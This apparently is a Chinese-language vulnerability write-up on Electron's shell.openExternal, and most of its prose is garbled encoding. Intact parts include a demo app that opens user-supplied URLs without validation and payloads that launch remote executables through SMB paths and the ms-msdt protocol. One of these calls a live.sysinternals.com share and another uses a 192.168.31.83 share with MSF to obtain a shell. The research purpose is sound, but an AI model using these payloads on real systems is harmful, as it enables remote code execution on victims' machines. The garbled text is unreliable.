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0x01 甏☮  
shell.openExternal  佭 shell  嘗㐉氳┉╄亡嫏⩒阵✳榫䳩⛼硍簊勏ꪫ⸊榟爊䈌䣒䋯┉
╄ URI

options 

activate  

MacOS斻僗阻糌╙ true ⚢㵨䣒䋯氳䈒榫爊䈌糌◇⯥⺐
workingDirectory 

Window斻僗阻糌䄄⛼泘䎓
logUsage 

Window斻僗䧗炐榫䢓⻪ⲁ氳⻪ⲁ⺎饇馹䅻榫爊䈌⽰⪭☽车╙
 

㞝冽㛻㳄榫鲋 open xxx  鲹眷⽝♑㶩䏭㳋佄杼鉯 shell.openExternal  open ⺵ꪫ饇氳 
URI 乄♭氳佭☜╫眷㑔㶩榫鉯冫㵒䈒眷㑔氳爊䈌䣒䋯院乄♭ shell.openExternal  㶩佭鲹
╄䙬䓙
䢦♔ shell.openExternal  篺䅻逈榫全㏇榫䢓宂鈾ꄅ䣒䋯粠건縡┘佭㏇爊䈌╈波䫙峷刌
粠건⛙佭㞝冽 url  ⹇丘佭䷍⭵縖⺎♔䫝⯆氳黁╫⮽䈔⚢䣮车☜╫榫☜╫全䣮车㶩⹧⬀
◇硍簊篼㲋䗯⬅▽
 

0x02 ䷞冽㷤炐  
䡘♜⡾阻阦榫䢓鰟⪍┉╄ url ╯⺵⚩鵉簄╚鲽爊阦╚鲽爊✳榫 shell.openExternal  䣒
䋯
╚鲽爊 main.js

shell.openExternal(url[, options])

// Modules to control application life and create native browser window
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峷刌건ꪫ index.html

const { app, BrowserWindow, ipcMain, shell } = require('electron')

const path = require('node:path')

function createWindow () {

  // Create the browser window.

  const mainWindow = new BrowserWindow({

    width: 1400,

    height: 800,

    webPreferences: {

      preload: path.join(__dirname, 'preload.js')

    }

  })

  // and load the index.html of the app.

  mainWindow.loadFile('index.html')

  // Open the DevTools.

  mainWindow.webContents.openDevTools()

}

app.whenReady().then(() => {

  createWindow()

  ipcMain.handle('open-url', (event, url) => {

    // 使⽤shell.openExternal打开⽹址

    shell.openExternal(url);

  });

  app.on('activate', function () {

    if (BrowserWindow.getAllWindows().length === 0) createWindow()

  })

})

app.on('window-all-closed', function () {

  if (process.platform !== 'darwin') app.quit()

})
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것ⱶ鰉耾儗 preload.js

<!DOCTYPE html>

<html>

<head>

  <title>Open URL Experiment</title>

</head>

<body>

  <input type="text" id="urlInput" placeholder="Enter a URL">

  <button id="openButton">Open in Browser</button>

  <script>

    document.getElementById('openButton').addEventListener('click', 

function() {

      const url = document.getElementById('urlInput').value;

      if (url) {

        // console.log(url)

        // 发送⽹址到主进程

        window.myAPI.open_url(url);

      } else {

        alert('Please enter a valid URL');

      }

    });

  </script>

</body>

</html>

const { contextBridge, ipcRenderer } = require('electron')

contextBridge.exposeInMainWorld('myAPI', {

   open_url: (url) => {

    //  console.log(url)

     ipcRenderer.invoke('open-url', url)

   }

})
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㏇鰟⪍勂╈鰟⪍ https://www.baidu.com/  䇜憠⭵ Open in Browser  䧝Ꚅ
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䡗Ⱶ㏇宂鈾╈䣒䋯 https://www.baidu.com/

 

0x03 ䷍⭵ꪫ☮篸  
 shell.openExternal  氳䷍⭵ꪫ╚金㏇◇䷍⭵縖㞝冽耇㛫䫝⯆ url  ⹇丘⫂㳋⺎耇⚢䣮车
┉◙⪭☽氳篾冽
1. 䣒䋯⺎䣮车乄♭  

Windows 11  

波䫙鰟⪍◅鲽⯆⺎䣮车乄♭㏐㏥⺎♔波䫙䣮车◅鲽⯆⺎䣮车乄♭⛙佭┘䶺䧏⚩鵉⹇丘
㏇ Windows ╈饟䏧⺵ⱶ┕ ?xxxx  佭┘⚢䏆⿏㲋⛤乄♭氳⛙佭⺵ꪫ氳⹇丘█媆僗⚩鵉簄
金䣮车氳乄♭
 

MacOS 13.6  
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Deepin Linux  

 

䎎⚩鵉◅鲽⯆⺎䣮车乄♭氳㏐㏥簄 url  ⹇丘休Windows ⽰ MacOS 䇖⺐齉佭波䫙鲡车◅
鲽⯆⺎䣮车乄♭縡 Linux 랸阡┘⚢䣮车
榺◇仰嫏⚩鵉⹇丘鲹㵗舚波䫙䣒䋯◅鲽⯆爊䈌鲹◄⹩䐂僗◙뙥缞儴⚮ⱱ㵸▽䏭指孾陒▽
┉◙㏇乄♭⺳յ饟䏧⺳璡㏐亡鲽车⽝♑䣮车氳亡䌋█┘佭䏭㜱䷞
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2. 鲾爊乄♭  

㞝冽䣮车儗㏐乄♭黁㶩⺆耇⩝䤧䕥䙬乄♭┕⚩⮽泘剝榾耭┕⛙ Electron ✳榫縖㛻鼨⮇齉
佭篳珸█媆僗䋯䷒☜╫ web 僜ⱷ╯眷氳┕⚩⮽榾耭┕䇜┦湳鷺饟䏧䇜┘㳋佄◇佭㛻㳄
䋯㡏䓙縓佭⻖⺎♔鲾爊䣮车乄♭
鲾爊乄♭䣮车╚金♔ smb  յ ftp յ sftp յ webdiv  յ webdavs  璡ⶖ阫╙╚䋧阫㛻㳄刧
洇⹇縓乄勮陣篱▽鉯䫙┖全㶩♔ smb ⶖ阫╙❇
 

Windows 11  

Windows ⺎♔鵠鲋 SMB ⶖ阫鲾爊ⱶ鰉乄♭鲽车䣮车

䡘♜㶍陒㏇ Windows 爊䈌╈孾陒

漶㲓⺎♔鲾爊ⱶ鰉乄♭䣮车⺆┘鲋⚢僗䬠炐鲹㶩佭縓뀰榫䢓㱧⪓䙬陃氳休⠯▽注⼝⚀┯
┘⚢䘶䤧㱧⪓⺓燰⮽榫䢓❱氳
䡘♜䧍 MSF  陒┉┖

shell.openExternal('\\\\live.sysinternals.com\\tools\\procmon.exe');
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⮡䋧 smb  ║休泘䎓

 

右䷊ samba  僜ⱷ鿥糌乄♭ⱶ䡘♜氳⪦◸⼝䕜

⻪ⲁ/ꄆ⻪ samba 僜ⱷ
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䋯⻪ MSF  沪⻤

 

㏇爊䈌❱鰟⪍ \\192.168.31.83\public\test.exe

憠⭵䧝Ꚅ孾陒
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嘗䦟榫䢓㱧⪓䙬䓙訅䍐憠⭵▽鲡车

䡗Ⱶ藜⹧⮽ shell

 

MacOS 13.6  

憠⭵䧝Ꚅ
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鲹㶩催뙥缞▽ꢝꪝ榫䢓㱧⪓䙬陃冓䈲訅䍐憠⭵鳀䫙⺵

 

鲸金⫋憠⭵㲙☕榫䢓⺎♔佭㱧⪓䙬陃訅䍐氳⛙䏭ꥈ㏇㱧⪓䙬陃訅䍐氳⺱休鲸䏭䟆 smb 
鲹眷僜ⱷ䓃╫榫䢦♔ⷊ✳榫䢓憠⭵▽㲙☕䇜鳀䫙♔⺵
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⚢饥⭴鲹╄猫⹾䇜┘⚢䣮车鲹╄塠끈㶩佭鳀䫙 smb 僜ⱷ塝休䡘♜⫋埠影⮽爊䈌⫋
埠憠⭵䧝Ꚅ

鲸佭☢☢⚢䣒䋯泘䎓䇜┘⚢䣮车ⷊ✳⚢䣮车鲸⚢뀰阾䋯⹠縖璡┉硍⮜㱧⪓䫣亨
 

Deepin Linux  

㏇ Deepin Linux  ┕䡘♜㶍陒䣮车 .desktop  乄♭波䫙☳ Deepin Linux  勏ꪫ┕䧍┉
╄鲋全
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㏇ Deepin Linux  ┕鰟⪍䡘♜氳 smb ꛔ䫙

䣮车㜊題侁炐䧗㲋氳⛤糌儔䧑鰉䎎䡘侁䌋㏐䣮车儗㏐ .desktop  乄♭休
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Deepin Linux  랸阡佭榫乄儗籁鰝全䣒䋯 .desktop  乄♭氳⪭☽ Linux 㶩꧎金鲽┉塠孾
陒▽
 

 

 

 

 

⹇縓乄勮
https://benjamin-altpeter.de/shell-openexternal-dangers/

 

3. ⪭☽硍簊嫱⫊氳ⶖ阫  

ꢝ▽ file://  ⽰ smb://  ♔拿硍簊嫱回氳⪭☽ⶖ阫█佭⺎♔逈⮵榫氳⹇縓乄珖╈氳⛼
縖鲸簄⭴▽㏇ Windows  ┕氳⭓╄勆❇

ms-msdt:   Microsoft䶺䧏陇亇䄄
search-ms:   䣒䋯䮣碠Ⱶ耇
jnlp:  㵒◇㰇㏇ Java 朅㗟⺎♔✳榫氳ⶖ阫
ms-officecmd:  Microsoft Office UWP 䈒榫爊䈌榫◇⻪ⲁ⪭☽ Office 勏ꪫ䈒榫爊䈌氳
亡勆
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䡘♜孾陒┉┖瑭┉╄⻗

䡘♜孾陒┉┖佭⻖⺎♔㏇ Windows 硍簊┕鲾爊ⱶ鰉 exe  乄♭

㏇ Windows 11 ┕䄖篺┘⺎榫▽⛎╲⹠榟▽燰ⲁ⛙侁抆鲹╄ⶖ阫佭☱抆变槴▽氳佭┘佭
⺵僿⚢右䷊┘䐂縡湳
 

 

鲸金嫱䙬氳佭黁◙舅㲋共ⶖ阫⺎耇⚢鉵⹠催指僗⷇㲺氳䷞冽
 

⹇縓乄珖
https://benjamin-altpeter.de/shell-openexternal-dangers/

https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8

https://positive.security/blog/ms-officecmd-rce

 

0x04 庀嬼勆❇

ms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param 

IT_BrowseForFile="\\live.sysinternals.com\tools\procmon.exe" /param 

IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTO"
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0x04 庀嬼勆❇  
https://hackerone.com/reports/1781102

https://github.com/tutao/tutanota/security/advisories/GHSA-mxgj-pq62-f644

https://user-images.githubusercontent.com/46137338/270564886-7a0389d3-f9ef-44e1-9f5e-5

7ccc72dcaa8.mp4

https://huntr.com/bounties/b242e806-fc8c-41c0-aad7-e0c9c37ecdee

https://www.exploit-db.com/exploits/51765

庀嬼勆❇寘⹖ drawio յ Rocket.Chat-Desktop յ tutanota յ WebCatalog  璡
 

0x05 䔅篾  
shell.openExternal   鵠䅻逈榫全隀榫榫䢓宂鈾颯全䣒䋯 http(s)  氳ꛔ䫙隀榫䎬䌋╙

㞝冽 url  佭榫䢓⺎䫝䇜┦媆僗⢢僗䷞뀰阾⺎耇⚢㵗舚䷍⭵縖⮵榫⪭⹠颯⪭☽ⶖ阫氳陴姳
❇㞝 smb յ webdiv յ sftp  璡鲽縡㵗舚鲾爊♏溞䣮车
榗舘鲸⺎♔鿥⺭┉◙庀嬼鲽车篯⺭⮵榫㍕塝䋯⹠縖䈒院┽劲뀰阾 url  ⹇丘氳⫂㳋䏭⪩꜄
氳┉憠佭뀰阾鲋爊┘⺎♔逈䷍⭵縖痙䷊㏇╯⯥것ⱶ鰉耾儗氳乄珖╈䡘♜☮篸鲋鵠鲋⪩ꠊ
┕┖乄ꣵ熊✳榫⸊㑔娤刌氳亡䌋右䷊▽ url  ⹇丘氳뀰阾鲋爊㵗舚⺎♔䣮车♳䙬ⶖ阫氳陴
姳
㍕塝ꢝ▽㵒 url  ⹇丘⢢僗䷞뀰阾♔拿鲸僗变阾뀰阾鲋爊┘⚢逈痙䷊
 

 

 

shell.openExternal(url[, options])
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